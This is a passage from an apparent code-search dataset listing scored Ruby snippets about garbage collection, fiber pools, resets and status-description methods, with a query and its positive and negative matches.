"text": "def collectGarbage\n\t\ta = []\n\t\t1000.times { a << {} }\n\t\ta = nil\n\t\tGC.start\n\tend",
"title": ""
},
{
"docid": "a689f807efde0a1f266ef9292934cade",
"score": "0.59028447",
"text": "def collectGarbage\n\t\ta = []\n\t\t1000.times { a << {} }\n\t\ta = nil\n\t\tGC.start\n\tend",
"title": ""
},
{
"docid": "724e5c07b8ee8f6d9112e89994add844",
"score": "0.589437",
"text": "def free() end",
"title": ""
},
{
"docid": "693c29722b3b6420f0de35d83f7f1eb2",
"score": "0.5866497",
"text": "def allocations_stop; end",
"title": ""
},
{
"docid": "4495d02833b75e01d57cacaeff6d055c",
"score": "0.58554536",
"text": "def static_garbage_collect\n if block_given?\n for t in unneeded_tasks\n yield(t)\n end\n else\n for t in unneeded_tasks\n remove_object(t)\n end\n end\n end",
"title": ""
},
{
"docid": "ca9faf287d281e34f379eadc7b281567",
"score": "0.58309925",
"text": "def fibers\n @workers.collect{ |worker| worker.fiber }\n end",
"title": ""
},
{
"docid": "0c7554e4ee9676c73b02624a96acbe73",
"score": "0.58292454",
"text": "def clear_dead_callbacks; end",
"title": ""
},
{
"docid": "25e85db60697587ce99049e1715ba5c7",
"score": "0.5816625",
"text": "def free\n end",
"title": ""
},
{
"docid": "a464a08ff4fccfa1837db6338d57f94a",
"score": "0.5815766",
"text": "def __cleanup__\n @map.keep_if { |key, value| key.weakref_alive? and key.alive? }\n end",
"title": ""
},
{
"docid": "15218481df0413b3b1465d769a76dca6",
"score": "0.57950777",
"text": "def free\n\n # nothing to do, kept for similarity with Rufus::Tokyo\n end",
"title": ""
},
{
"docid": "559f6924551e019b68218e48eee30ee6",
"score": "0.5763349",
"text": "def gc\n self\n end",
"title": ""
},
{
"docid": "d30b96a1061478ef48644c264da7920d",
"score": "0.5738147",
"text": "def collectGarbage\n\t\t\ta = []\n\t\t\t1000.times { a << {} }\n\t\t\ta = nil\n\t\t\tGC.start\n\t\tend",
"title": ""
},
{
"docid": "16748d369938230f7fc1e06eead68412",
"score": "0.56950057",
"text": "def reset\n @free_set.clear\n end",
"title": ""
},
{
"docid": "4d00256bc28c5eafe74e69cd6d4ca76a",
"score": "0.5694908",
"text": "def refill_key_pool()\n\t\t\t@jr.keypoolrefill()\n\t\tend",
"title": ""
},
{
"docid": "9f262add97f0236302a36e79c1847dde",
"score": "0.56885195",
"text": "def garbage\n @garbage ||= []\n end",
"title": ""
},
{
"docid": "0e2780182fd140a3542ba78e303935ef",
"score": "0.56870717",
"text": "def initialize(count = 50)\n @fibers,@busy_fibers,@queue = [],{},[]\n count.times do |i|\n fiber = NB::Fiber.new do |block|\n loop do\n block.call\n # callbacks are called in a reverse order, much like c++ destructor\n NB::Fiber.current[:callbacks].pop.call while NB::Fiber.current[:callbacks].length > 0\n unless @queue.empty?\n block = @queue.shift\n else\n @busy_fibers.delete(NB::Fiber.current.object_id)\n @fibers << NB::Fiber.current\n block = NB::Fiber.yield\n end\n end\n end\n fiber[:callbacks] = []\n @fibers << fiber\n end\n end",
"title": ""
},
{
"docid": "2e4b61eac02c1654be16f3feeca68f49",
"score": "0.5651308",
"text": "def forget!\n @values = nil\n @lookup = nil\n @index = -1\n end",
"title": ""
},
{
"docid": "3af21c123aad476bcc7b3b242f878ac1",
"score": "0.5644095",
"text": "def finalize!\n trace(:finalize_start) if @tracer\n # Realize outstanding deferrals in the order given by the scheduler.\n until scheduler.empty?\n event = scheduler.next_event\n trace(:finalize_step, event) if @tracer\n realize_event(event)\n end\n # If fibers are still waiting (but there are no deferred targets in the\n # queue that could unblock them), then the game is over and we have\n # surely deadlocked.\n if loom.waiters?\n trace(:finalize_deadlock) if @tracer\n raise DeadlockError\n end\n end",
"title": ""
},
{
"docid": "a8d1fc79860871feb9b5fe6fd80785a9",
"score": "0.56421906",
"text": "def reset!\n unmemoize_all\n end",
"title": ""
},
{
"docid": "61156248adaf4501765f67d79b2dcbe3",
"score": "0.5634243",
"text": "def reset_pools\n @face_up_pool = Hash.new { |hash, key| hash[key] = [] }\n @face_down_pool = []\n end",
"title": ""
},
{
"docid": "95d690028bf28aa918aeb7b78b9852c2",
"score": "0.5632428",
"text": "def free\n\t\t\tself.value = nil\n\t\t\tself.vacated = true\n\t\tend",
"title": ""
},
{
"docid": "20afec05e78eae5219edd426b57d998e",
"score": "0.5631133",
"text": "def bomb!\n @queue << nil\n end",
"title": ""
},
{
"docid": "4fcede378d1df08a65d9813775f9d967",
"score": "0.5628296",
"text": "def with_gc_stats; end",
"title": ""
},
{
"docid": "d1de530cb633088958224264c3ca44ac",
"score": "0.56174934",
"text": "def fiber_obj\n return nil \n end",
"title": ""
},
{
"docid": "8782845672a80632d0de1aa02c31cc6a",
"score": "0.5616624",
"text": "def purge_unused\n end",
"title": ""
},
{
"docid": "8782845672a80632d0de1aa02c31cc6a",
"score": "0.5616624",
"text": "def purge_unused\n end",
"title": ""
},
{
"docid": "16373eeb89231d6f50de39784d2c0221",
"score": "0.5598894",
"text": "def deallocate_unused\n # implemented by subclass\n end",
"title": ""
},
{
"docid": "ca9b8ff8c9a6b6431bb1e491ed6a6277",
"score": "0.5587854",
"text": "def empty_fib_function\n ->(piece,msg) do\n piece.pass_on(msg, one_data_fib_function(msg),\"#{msg}..\")\n end\n end",
"title": ""
},
{
"docid": "7cb4813dcb70478b31fd649876400fb5",
"score": "0.55738217",
"text": "def reset_memoized; end",
"title": ""
},
{
"docid": "2d48cb40c1cd3f1cbea45573c7ddaf3f",
"score": "0.5555183",
"text": "def clean_thread_locals; end",
"title": ""
},
{
"docid": "ebafa5a6f77c5d2d01640a1530a75480",
"score": "0.5534149",
"text": "def prevent_gc_authoritive(object)\n end",
"title": ""
},
{
"docid": "180aa43c93b0a0433f0db79ca8ced031",
"score": "0.552853",
"text": "def initialize(count = 100)\n @fibers,@busy_fibers,@queue,@generic_callbacks = [],{},[],[]\n count.times do |i|\n fiber = Fiber.new do |block|\n loop do\n block.call\n # callbacks are called in a reverse order, much like c++ destructor\n Fiber.current[:callbacks].pop.call while Fiber.current[:callbacks].length > 0\n generic_callbacks.each do |cb|\n cb.call\n end\n unless @queue.empty?\n block = @queue.shift\n else\n @busy_fibers.delete(Fiber.current.object_id)\n @fibers << Fiber.current\n block = Fiber.yield\n end\n end\n end\n fiber[:callbacks] = []\n fiber[:em_keys] = []\n @fibers << fiber\n end\n end",
"title": ""
},
{
"docid": "4c3be5124eebabd18252e9906813e5eb",
"score": "0.55273205",
"text": "def initialize(count = 50)\n\t\t\t @fibers,@queue = [],[]\n\t\t\t count.times do |i| \n\t\t\t\t fiber = Fiber.new do |block|\n\t\t\t\t\t loop do\n\t\t\t\t\t\t block.call\n\t\t\t\t\t\t unless @queue.empty?\n\t\t\t\t\t\t\t block = @queue.shift\n\t\t\t\t\t\t else\n\t\t\t\t\t\t\t block = Fiber.yield @fibers << Fiber.current\n\t\t\t\t\t\t end\n\t\t\t\t\t end\n\t\t\t\t end\n\t\t\t\t fiber[:neverblock] = true\n\t\t\t\t @fibers << fiber\n\t\t\t end \n\t\t end",
"title": ""
},
{
"docid": "0e272d80e31986bd8dbea5563beae629",
"score": "0.55221486",
"text": "def referrers_closure\n\t\treferrers( 9999999 ) #ok..this is a temporary hack.\n\tend",
"title": ""
},
{
"docid": "fda9a9e7366922d279fbc6187b1a5479",
"score": "0.55024785",
"text": "def reset\n @pool = nil\n pool\n end",
"title": ""
},
{
"docid": "7d1bf45387bc5f214d48c6d5a26bf14f",
"score": "0.5502359",
"text": "def ns_prune_pool; end",
"title": ""
},
{
"docid": "7d1bf45387bc5f214d48c6d5a26bf14f",
"score": "0.5502359",
"text": "def ns_prune_pool; end",
"title": ""
},
{
"docid": "177f67e98acb5fcb0c6061220da1291a",
"score": "0.55021936",
"text": "def free(list)\n \t\t # do nothing\n \t\tend",
"title": ""
},
{
"docid": "177f67e98acb5fcb0c6061220da1291a",
"score": "0.55021936",
"text": "def free(list)\n \t\t # do nothing\n \t\tend",
"title": ""
},
{
"docid": "0599d87220f1128540d3cd5c9e0d308b",
"score": "0.5492045",
"text": "def test_thread_gc(vars)\n threads = 500.times.collect do\n Thread.new do\n vars.each do |var|\n var.value = 1\n end\n end\n end\n threads.each(&:join)\nend",
"title": ""
},
{
"docid": "f86cd6c1981e870d512442519ab253d9",
"score": "0.5488507",
"text": "def dead_size\n [10, 12][self.class.calls]\n end",
"title": ""
},
{
"docid": "04c444c7b8c28a34f67a6f69cc746ead",
"score": "0.5481631",
"text": "def disable_clear_and_finalize; end",
"title": ""
},
{
"docid": "a0c7f1cc09eeaf89057bf7a2e1c80033",
"score": "0.54797095",
"text": "def backfilled_visitors\n existing = visitors\n num_needed = Prison::MAX_VISITORS - existing.count\n backfill = num_needed.times.map { Visitor.new }\n existing.to_a + backfill\n end",
"title": ""
},
{
"docid": "6a203cd5cc3242702f82280773235fb6",
"score": "0.5477608",
"text": "def run(num_fibers)\n count = 0\n\n GC.start\n GC.disable\n\n first = nil\n last = nil\n supervisor = Fiber.current\n num_fibers.times do\n fiber = Fiber.new do\n loop do\n count += 1\n if count == 1_000_000\n supervisor.transfer\n else\n Fiber.current.next.transfer\n end\n end\n end\n first ||= fiber\n last.next = fiber if last\n last = fiber\n end\n\n last.next = first\n\n t0 = Time.now\n puts \"start transfer...\"\n first.transfer\n elapsed = Time.now - t0\n\n rss = `ps -o rss= -p #{Process.pid}`.to_i\n\n puts \"fibers: #{num_fibers} rss: #{rss} count: #{count} rate: #{count / elapsed}\"\nrescue Exception => e\n puts \"Stopped at #{count} fibers\"\n p e\nend",
"title": ""
},
{
"docid": "50ac251336e9b296522856fbceea34e5",
"score": "0.547522",
"text": "def free\n cache.clear\n nil\n end",
"title": ""
},
{
"docid": "b9072b09fc4a3f6932c26abe2e74319f",
"score": "0.5474275",
"text": "def reset_worker_cache\n $__lcms__loaded_at_as_int = 0\n end",
"title": ""
},
{
"docid": "62c1f76fe7e3133e77d7087882d69a53",
"score": "0.5454781",
"text": "def fiber_obj\n return nil\n end",
"title": ""
},
{
"docid": "3f3829baff76811f67dcba339aa0b725",
"score": "0.54545605",
"text": "def weak!\n @status = WEAK\n end",
"title": ""
},
{
"docid": "a0857f57e1c0dfc5e15563abea29c938",
"score": "0.5453916",
"text": "def reset\n @branches = []\n @known_states = []\n end",
"title": ""
},
{
"docid": "0f4c3567b40a1cad4cd65e67362623a1",
"score": "0.5448044",
"text": "def free\n self.last_used_by = nil\n self.last_used_at = nil\n end",
"title": ""
},
{
"docid": "0faac010cf111b459e5fb9a79516259f",
"score": "0.5444923",
"text": "def unfreeze; end",
"title": ""
},
{
"docid": "3619529a4c0e7a64f6acf18d5f380f35",
"score": "0.54429305",
"text": "def dead_size\n [10, 12][self.class.calls]\n end",
"title": ""
},
{
"docid": "79bb759bf5202e0a94393044dfce2063",
"score": "0.5441778",
"text": "def test_garbage_collector_with_cycle\n @a.bind(@a,\"selfbind\", @limeberry)\n\n @bind.unbind(\"a\", @limeberry)\n\n assert_nil @bind.find_child_by_name(\"a\")\n assert_nil @bind.find_child_by_name(\"selfbind\")\n\n assert_raise(ActiveRecord::RecordNotFound) {\n @a.reload\n }\n end",
"title": ""
},
{
"docid": "7c7abed0ddc67ba32a8448365b1e7786",
"score": "0.54400325",
"text": "def reset!\n @concurrency&.reset!\n @threshold&.reset!\n end",
"title": ""
},
{
"docid": "c66e0ddcc230741fa645fb6bb9351627",
"score": "0.54389447",
"text": "def reset_thunk!\n @thunk_st = @i\n @thunk_end = @i - 1\n end",
"title": ""
},
{
"docid": "5e08c7dc4df5f98c875fc63b14950cac",
"score": "0.5437077",
"text": "def change_gc (*args)\n change_gc!(*args).abandon\n end",
"title": ""
},
{
"docid": "8a6fa153203c65534a1eb9cb13ee3702",
"score": "0.5409057",
"text": "def clear_tsbs\n @actors_fiber = {}\n @enemies_fiber = {}\n @battler_targets = []\n @anim_top = 0\n @global_freeze = false\n @anim_follow = false\n @slowmotion_frame = 0\n @slowmotion_rate = 2\n @one_animation_id = 0\n @one_animation_flip = false\n @one_animation_flag = false\n @tsbs_event = 0\n end",
"title": ""
},
{
"docid": "8a6fa153203c65534a1eb9cb13ee3702",
"score": "0.5409057",
"text": "def clear_tsbs\n @actors_fiber = {}\n @enemies_fiber = {}\n @battler_targets = []\n @anim_top = 0\n @global_freeze = false\n @anim_follow = false\n @slowmotion_frame = 0\n @slowmotion_rate = 2\n @one_animation_id = 0\n @one_animation_flip = false\n @one_animation_flag = false\n @tsbs_event = 0\n end",
"title": ""
},
{
"docid": "e782a5f6450eb24b3f93ac19b47ef88e",
"score": "0.54063493",
"text": "def reset\n @entrypoint_stack = []\n TransactionState.get.busy_entries = 0\n @lock ||= Mutex.new\n @accumulator = 0\n @harvest_start = time_now\n end",
"title": ""
},
{
"docid": "2a01006270321995db7dadd4a0aa214b",
"score": "0.53938085",
"text": "def finalize!(freeze_values: T.unsafe(nil)); end",
"title": ""
},
{
"docid": "2a01006270321995db7dadd4a0aa214b",
"score": "0.53938085",
"text": "def finalize!(freeze_values: T.unsafe(nil)); end",
"title": ""
},
{
"docid": "df41d64bd21fa03dab7f738de74d1d88",
"score": "0.5390785",
"text": "def release_all_registers\n @temp_registers.each do |reg|\n next if reg.end_point\n release_register reg\n end\n end",
"title": ""
},
{
"docid": "b147cdb94952d98171323a65728ce117",
"score": "0.5379872",
"text": "def record_allocations!; end",
"title": ""
},
{
"docid": "946802669fef71a944b4596e9784c113",
"score": "0.53794247",
"text": "def test_memory_management\n\t\tobserver = @dummy.observe(:cell1) { throw :observer_alive }\n\t\tObjectSpace.garbage_collect\n\t\tassert_throws :observer_alive, \"observer correctly registered and still referenced\" do\n\t\t\t@dummy.cell1 = 1\n\t\tend\n\t\tobserver = nil\n\t\tObjectSpace.garbage_collect\n\t\tassert_nothing_thrown \"observer has been collected by garbage collector\" do\n\t\t\t@dummy.cell1 = 2\n\t\tend\n\n\t\t# test garbage collection of objects with dependent cells\n\t\tobserver = TestDummy.new\n\t\tobserver_weakref = WeakRef.new observer\n\t\tassert observer_weakref.weakref_alive?, \"check that WeakRef is registered correctly, just in case\"\n\t\tobserver.calculate(:cell1) { @dummy.cell1 * 100 }\n\t\tassert_equal 200, observer.cell1, \"initial calculation of observer.cell1 works as expected\"\n\t\t@dummy.cell1 = 10\n\t\tassert_equal 1000, observer.cell1, \"observer.cell1 gets updated when @dummy.cell1 changes\"\n\t\tobserver = nil\n\t\tObjectSpace.garbage_collect\n\t\tassert (not observer_weakref.weakref_alive?), \"object with dependent cells has been garbage collected\"\n\tend",
"title": ""
},
{
"docid": "8c5a6e09e4945c3e5bb3062be13f617e",
"score": "0.53743947",
"text": "def gc?\n\t\t\n\tend",
"title": ""
},
{
"docid": "1a3714c9385c971a76fa6773879125a3",
"score": "0.537025",
"text": "def gc\n send_cmd(:gc)\n end",
"title": ""
},
{
"docid": "1a3714c9385c971a76fa6773879125a3",
"score": "0.537025",
"text": "def gc\n send_cmd(:gc)\n end",
"title": ""
},
{
"docid": "7acededee397c6377e4840a48aaf6cf0",
"score": "0.5369196",
"text": "def reset\n @discovered_agents = nil\n end",
"title": ""
},
{
"docid": "276c2311677c6989323882e0d0a4ca2c",
"score": "0.53625715",
"text": "def finalize_worker; end",
"title": ""
},
{
"docid": "13f9d2086e21357354a49cfffa440ad1",
"score": "0.5361899",
"text": "def revert_to_free\n end",
"title": ""
},
{
"docid": "7e37a50df4d392583f60a3befb3cea5f",
"score": "0.5345902",
"text": "def clean!\n @pool_mutex.synchronize { _clean }\n nil\n end",
"title": ""
},
{
"docid": "7e37a50df4d392583f60a3befb3cea5f",
"score": "0.5345902",
"text": "def clean!\n @pool_mutex.synchronize { _clean }\n nil\n end",
"title": ""
},
{
"docid": "2b37ce7a10b724192bfe5759de422d83",
"score": "0.53443885",
"text": "def dealloc()\n\n\t\t@oEventManager.dealloc if !@oEventManager.nil?\n\t\t@oEventManager = nil\n\n\t\t@oFletcher.dealloc if !@oFletcher.nil?\n\t\t@oFletcher = nil\n\n\t\t@oIncomingFrame.dealloc if !@oIncomingFrame.nil?\n\t\t@oIncomingFrame = nil\n\n\t\t@hFrameHistory = nil\n# TOFIX: prio 9\n\t\t@hOnlineClientHash.values.each do |hClient|\n\t\t\thClient[:marker].dealloc() if !hClient[:marker].nil?\n\t\tend # loop all markers\n\t\t@hOnlineClientHash = nil\n\n\t\tnil\n\n\tend",
"title": ""
},
{
"docid": "7db519d8a75cb86b7288d983264b53ee",
"score": "0.5343969",
"text": "def pool; end",
"title": ""
},
{
"docid": "7db519d8a75cb86b7288d983264b53ee",
"score": "0.5343969",
"text": "def pool; end",
"title": ""
},
{
"docid": "7db519d8a75cb86b7288d983264b53ee",
"score": "0.5343969",
"text": "def pool; end",
"title": ""
},
{
"docid": "7db519d8a75cb86b7288d983264b53ee",
"score": "0.5343969",
"text": "def pool; end",
"title": ""
},
{
"docid": "7db519d8a75cb86b7288d983264b53ee",
"score": "0.5343969",
"text": "def pool; end",
"title": ""
},
{
"docid": "5369edeb049196508f590d07b35eac1b",
"score": "0.5343138",
"text": "def collect_garbage\n raise CapabilitiesExceeded\n end",
"title": ""
},
{
"docid": "25d5c4107e7b4b2dd7ad603e3be7cf2e",
"score": "0.5339005",
"text": "def fresh_variable\n @generator.next\n end",
"title": ""
},
{
"docid": "25d5c4107e7b4b2dd7ad603e3be7cf2e",
"score": "0.5339005",
"text": "def fresh_variable\n @generator.next\n end",
"title": ""
},
{
"docid": "669b6124acd85bac8007fa8d8deb965c",
"score": "0.53323877",
"text": "def reset()\n @@queues = {}\n end",
"title": ""
},
{
"docid": "0c6ec9c56dffeaddb2d5495413116afb",
"score": "0.53274053",
"text": "def create_gc (*args)\n create_gc!(*args).abandon\n end",
"title": ""
},
{
"docid": "022d0f3d4fed74b1a0123844e0b4573d",
"score": "0.53208816",
"text": "def clear\n refs = references\n refs.each(&:unbind)\n @symbols = []\n invalidate_refs\n end",
"title": ""
},
{
"docid": "cb805ad2037b2f736282d2ec7408646f",
"score": "0.5318245",
"text": "def trigger_destruction; @alive = false; end",
"title": ""
},
{
"docid": "781ecf9c6a33f0d32fa05ba698812cf1",
"score": "0.53113633",
"text": "def clear\n\t\t@edges = []\n\t\t@visited = false\n\t\t@prev = nil\n\t\t@next = nil\n\tend",
"title": ""
},
{
"docid": "4778e61c9b75138743d93b019d6b2b46",
"score": "0.5310103",
"text": "def uncache\n # don't reset these\n ignore = %w[@nodes @edges]\n \n # set the rest to nil\n (instance_variables-ignore).each{|v| eval \"#{v}=nil\"}\n \n self\n end",
"title": ""
},
{
"docid": "20b271d278d96025a5d3ce528edc0491",
"score": "0.5304176",
"text": "def reset_all!; end",
"title": ""
},
{
"docid": "730ae55a41197aeea5a1fde19a5bc379",
"score": "0.5301168",
"text": "def memory_allocations_score; end",
"title": ""
},
{
"docid": "a8fc50083313aeeddd52f92d25e0423a",
"score": "0.52981085",
"text": "def recover_unused_connections\n tids = Thread.list.select{|t| t.alive?}.map(&:object_id)\n @mutex.synchronize do\n cids = @connection_map.keys\n (cids - tids).each do |sid|\n c = @connection_map.delete(sid)\n @pool.checkin(c)\n end\n end\n end",
"title": ""
}
] |
d2415ac1aa48ad1498f73dd46dda770e
|
Return a textual description of the CommandSequenceStatus instance The returned string will follow the following pattern: '':'' on '. steps
|
[
{
"docid": "b47790125dcbd7fbdd548e24ded28642",
"score": "0.6392508",
"text": "def to_s\n \"'#{sequence_id}':'#{@sequence_name}' on '#{@sequence_runner}' started at #{@start_time}.#{@step_states.size} steps\"\n end",
"title": ""
}
] |
[
{
"docid": "0d01c9eef1a7ab7effc4430c19a96e59",
"score": "0.7162676",
"text": "def status_text\n return \"Running\" if running?\n return \"Scheduled\" if !started?\n return \"Passed\" if ended?\n end",
"title": ""
},
{
"docid": "38c0521181069bc2c9a448a005030765",
"score": "0.68867433",
"text": "def step_complete_flag_description\n\t\tls_description = ' '\n\t\tif complete_flag.present?\n\t\t\tcase complete_flag\n\t\t\twhen 'Y'\n\t\t\t\tls_description = \"Complete\"\n\t\t\twhen 'N'\n\t\t\t\tls_description = \"Not Visited\"\n\t\t\twhen 'S'\n\t\t\t\tls_description = \"Skipped\"\n\t\t\twhen 'I'\n\t\t\t\tls_description = \"Incomplete\"\n\t\t\tend\n\t\tend\n\t\treturn ls_description\n\tend",
"title": ""
},
{
"docid": "c977860dfa3ea2eb629d18942a784ad8",
"score": "0.6719146",
"text": "def status_text(status)\n case (status)\n when Automation::Status::Running\n return 'Running'\n when Automation::Status::Analysing\n return 'Analysing results'\n when Automation::Status::Complete\n return 'Complete'\n else\n return 'Unknown'\n end\n end",
"title": ""
},
{
"docid": "ec5aca280668c053eace38587ea01f0b",
"score": "0.66995555",
"text": "def status_s\n self.finished?? \"Finished\" : ( self.effort_logs.empty?? \"New\":\"In Progress\")\n end",
"title": ""
},
{
"docid": "7db19c46fc2ba468731c0d9ee0f921a6",
"score": "0.66493344",
"text": "def status_string(*) end",
"title": ""
},
{
"docid": "aa475fd66b453a4dc089132ebc825fd8",
"score": "0.6628317",
"text": "def status\n return \"Finished\" if self.finished\n return \"Backlog\" if self.backlog\n self.wip? ? \"#{step_name} - In-Progress\" : \"#{step_name} - Queue\"\n end",
"title": ""
},
{
"docid": "2991e8a6116e7d5b638df73b809d9ac2",
"score": "0.66182435",
"text": "def summary\n sum = ''\n sum << \"#{@sequence_id}:\" if @sequence_id\n sum << \"#{@sequence_name}. \" unless @sequence_name.empty?\n sum << \"Status - #{@status}\"\n if !@step_states.empty? && @status != :not_executed\n sum << \". States #{@step_states.size}\\nStep status summary:\"\n sorter = {}\n @step_states.each do |number, state|\n # sort them by number\n sorter[number] = \"\\n\\t#{number}:'#{state[:name]}' - #{state[:status]}\"\n end\n 1.upto(sorter.size) { |i| sum << sorter[i] if sorter[i] }\n end\n sum\n end",
"title": ""
},
{
"docid": "2e98c7ed2367e706947dc285b1d072ee",
"score": "0.65806144",
"text": "def summary\n sum = \"\"\n sum << \"#{@sequence_id}:\" if @sequence_id\n sum << \"#{@sequence_name}. \" unless @sequence_name.empty?\n sum << \"Status - #{@status}\"\n if !@step_states.empty? && @status != :not_executed\n sum << \". States #{@step_states.size}\\nStep status summary:\"\n sorter = {}\n @step_states.each do |number, state|\n # Sort them by number\n sorter[number] = \"\\n\\t#{number}:'#{state[:name]}' - #{state[:status]}\"\n end\n 1.upto(sorter.size) { |i| sum << sorter[i] if sorter[i] }\n end\n return sum\n end",
"title": ""
},
{
"docid": "90d7a7b0195a0619fa4bea5a69a90ea5",
"score": "0.6561631",
"text": "def get_status_string(status)\n case status\n when :started then \"#{Tty.green}started#{Tty.reset}\"\n when :stopped then \"stopped\"\n when :error then \"#{Tty.red}error #{Tty.reset}\"\n when :unknown then \"#{Tty.yellow}unknown#{Tty.reset}\"\n end\n end",
"title": ""
},
{
"docid": "50bf43c235033cd84cbd8065db6b49c2",
"score": "0.65280706",
"text": "def status_text\n STATUS_TEXT[self.status]\n end",
"title": ""
},
{
"docid": "f75a9322dfe0d5f7e0c13cd52e9348b1",
"score": "0.6507714",
"text": "def status_text\n return @@status_values[self.status]\n end",
"title": ""
},
{
"docid": "31d6465ac3cca1fae0c926f0d42fb28c",
"score": "0.6469907",
"text": "def status_text\n end",
"title": ""
},
{
"docid": "23f440ae12cce130709a180f935456fc",
"score": "0.6433844",
"text": "def step_status(msg = nil)\n\tend",
"title": ""
},
{
"docid": "d0643bb3bb9783cf82a318fdef84cb4d",
"score": "0.6425317",
"text": "def status_line\n if self.unowned?\n \"open\"\n elsif self.waiting?\n \"waiting for a code fix\" # should be followed by link to code ticket\n elsif self.waiting_on_admin?\n \"waiting for an admin\"\n elsif self.spam?\n \"spam\"\n elsif self.closed? && self.support_identity_id.nil?\n \"closed by owner\"\n elsif self.closed? && self.code_ticket_id\n \"fixed in release\" # should be followed by link to release note\n elsif self.closed? && self.faq_id\n \"answered by FAQ\" # should be followed link to faq\n else\n \"#{self.status} by #{self.support_identity.name}\"\n end\n end",
"title": ""
},
{
"docid": "ed9c120f3eaf685a4049c8afb5da512f",
"score": "0.6422811",
"text": "def status_string\n if self.closed?\n \"Completed\"\n else\n \"In Process\"\n end\n end",
"title": ""
},
{
"docid": "ee4674cb3c01be410a8daccc5404df4b",
"score": "0.63884175",
"text": "def status\n str = \n case progress\n when :waiting\n \"No current run, waiting for run request.\"\n when :failed\n \"Run failed.\"\n when :aborted\n \"Run aborted.\"\n when :stopped\n \"Run stopped.\"\n when :finished\n \"Finished run ##{batch_index} of batch.\"\n when 0...1\n \"Working on run ##{batch_index} of batch.\"\n end\n log.info \"Collecting status: #{str}\"\n str\n end",
"title": ""
},
{
"docid": "c90acc8793f749887f6673acbecd7372",
"score": "0.63471717",
"text": "def status_label\n label = self.status.to_s.gsub('created', 'working').gsub(/_/, ' ').capitalize\n label << '...' unless self.done?\n label << '!' if self.success? == false\n return label\n end",
"title": ""
},
{
"docid": "c90acc8793f749887f6673acbecd7372",
"score": "0.63471717",
"text": "def status_label\n label = self.status.to_s.gsub('created', 'working').gsub(/_/, ' ').capitalize\n label << '...' unless self.done?\n label << '!' if self.success? == false\n return label\n end",
"title": ""
},
{
"docid": "9cd13d8fc0f53e5e745d2cfef5068772",
"score": "0.633178",
"text": "def status_str\n case object.status\n when 1\n \"Ordered\"\n when 2\n \"In Inventory\"\n when 3\n \"Scheduled Install\"\n when 4\n \"Operational\"\n when 5\n \"Scheduled Replacement\"\n when 6\n \"Removed\"\n when 7\n \"In Maintenance\"\n else\n \"Unknown\"\n end\n end",
"title": ""
},
{
"docid": "687a6749cb5d3e2eb7ecb9dfcc008504",
"score": "0.6327773",
"text": "def description_of_status(trans_status)\n case trans_status\n when 1\n \"nowa\"\n when 2\n \"anulowana\"\n when 3\n \"odrzucona\"\n when 4\n \"rozpoczęta\"\n when 5\n \"oczekuje na odbiór\"\n when 7\n \"platność odrzucona\"\n when 99\n \"platność odebrana - zakończona\"\n when 888\n \"blędno status - prosimy o kontakt\"\n end\n end",
"title": ""
},
{
"docid": "ac74ce3033426d8b43ce6ff107652d4d",
"score": "0.6296571",
"text": "def status\n return \"skipped\" if skipped?\n return \"never\" if never?\n return \"missed\" if missed?\n return \"covered\" if covered?\n end",
"title": ""
},
{
"docid": "3b221e0b166a1a74fcb8bbd1fe318725",
"score": "0.6276781",
"text": "def pretty_status(algorithm)\n case algorithm.status.to_sym\n when *Algorithm.wizard_steps[0..-2]\n return 'Currently in wizard'\n when :review\n return 'Needs review'\n when :connection_error\n return 'No connection to DIVAServices'\n else\n return algorithm.status.humanize\n end\n end",
"title": ""
},
{
"docid": "29e83d355c221f530f1e2e2b386f55c9",
"score": "0.62736934",
"text": "def to_s\n \"#{sequence_id}:name on #{@sequence_runner}, #{@steps.size} steps\"\n end",
"title": ""
},
{
"docid": "dbd888c89dacffe12f63f46d920f337e",
"score": "0.6247324",
"text": "def example_status_string(status)\n if status == 'passed'\n status.ljust(COLUMN_WIDTH).colorize :green\n elsif status == 'failed'\n status.ljust(COLUMN_WIDTH).colorize :red\n else\n status.ljust(COLUMN_WIDTH).colorize :blue\n end\n end",
"title": ""
},
{
"docid": "94c6043ad01310fbd7ec6ca24043d7e0",
"score": "0.62277365",
"text": "def expectation_description\n\t\t\tif @expected_message.is_a?( Regexp )\n\t\t\t\treturn \"finish_with %d (%s) status and a message which matches %p\" % [\n\t\t\t\t\t@expected_status,\n\t\t\t\t\tSTATUS_NAMES[@expected_status],\n\t\t\t\t\t@expected_message\n\t\t\t\t]\n\t\t\telse\n\t\t\t\treturn \"finish_with %d (%s) status and a message which is %p\" % [\n\t\t\t\t\t@expected_status,\n\t\t\t\t\tSTATUS_NAMES[@expected_status],\n\t\t\t\t\t@expected_message\n\t\t\t\t]\n\t\t\tend\n\t\tend",
"title": ""
},
{
"docid": "94c6043ad01310fbd7ec6ca24043d7e0",
"score": "0.62277365",
"text": "def expectation_description\n\t\t\tif @expected_message.is_a?( Regexp )\n\t\t\t\treturn \"finish_with %d (%s) status and a message which matches %p\" % [\n\t\t\t\t\t@expected_status,\n\t\t\t\t\tSTATUS_NAMES[@expected_status],\n\t\t\t\t\t@expected_message\n\t\t\t\t]\n\t\t\telse\n\t\t\t\treturn \"finish_with %d (%s) status and a message which is %p\" % [\n\t\t\t\t\t@expected_status,\n\t\t\t\t\tSTATUS_NAMES[@expected_status],\n\t\t\t\t\t@expected_message\n\t\t\t\t]\n\t\t\tend\n\t\tend",
"title": ""
},
{
"docid": "65dcceaa3e2cf64e9f178edb08a6e445",
"score": "0.6214912",
"text": "def status_text status = @ole.status\n P2::CS_MESSAGES.map { |k, v| (k & status).zero? ? nil : v }.compact.join(', ')\n end",
"title": ""
},
{
"docid": "14c4eb3672756271d1232d1cb3912293",
"score": "0.62062955",
"text": "def status\n complete? ? 'Completed' : 'Failed'\n end",
"title": ""
},
{
"docid": "9a03f6124acbcd966909ac2c1902256b",
"score": "0.6206047",
"text": "def status\n complete? ? 'Completed' : 'Failed'\n end",
"title": ""
},
{
"docid": "f4a975da6db72694d2e0d503710abd73",
"score": "0.6184368",
"text": "def get_name_of_status(status)\n if status == 1 || status == \"1\"\n \"Active\"\n elsif status == 2 || status == \"2\"\n \"Pipeline\"\n elsif status == 3 || status == \"3\"\n \"Lost\"\n elsif status == 4 || status == \"4\"\n \"Completed\"\n else\n \"\"\n end\n end",
"title": ""
},
{
"docid": "3dd678ce5a7c2d228ff2fe40d2442d5a",
"score": "0.61823213",
"text": "def status\n return \"skipped\" if skipped?\n return \"never\" if never?\n return \"missed\" if missed?\n return \"covered\" if covered?\n end",
"title": ""
},
{
"docid": "7a3f0a4cd41b7aa32604da3aa2994452",
"score": "0.6161122",
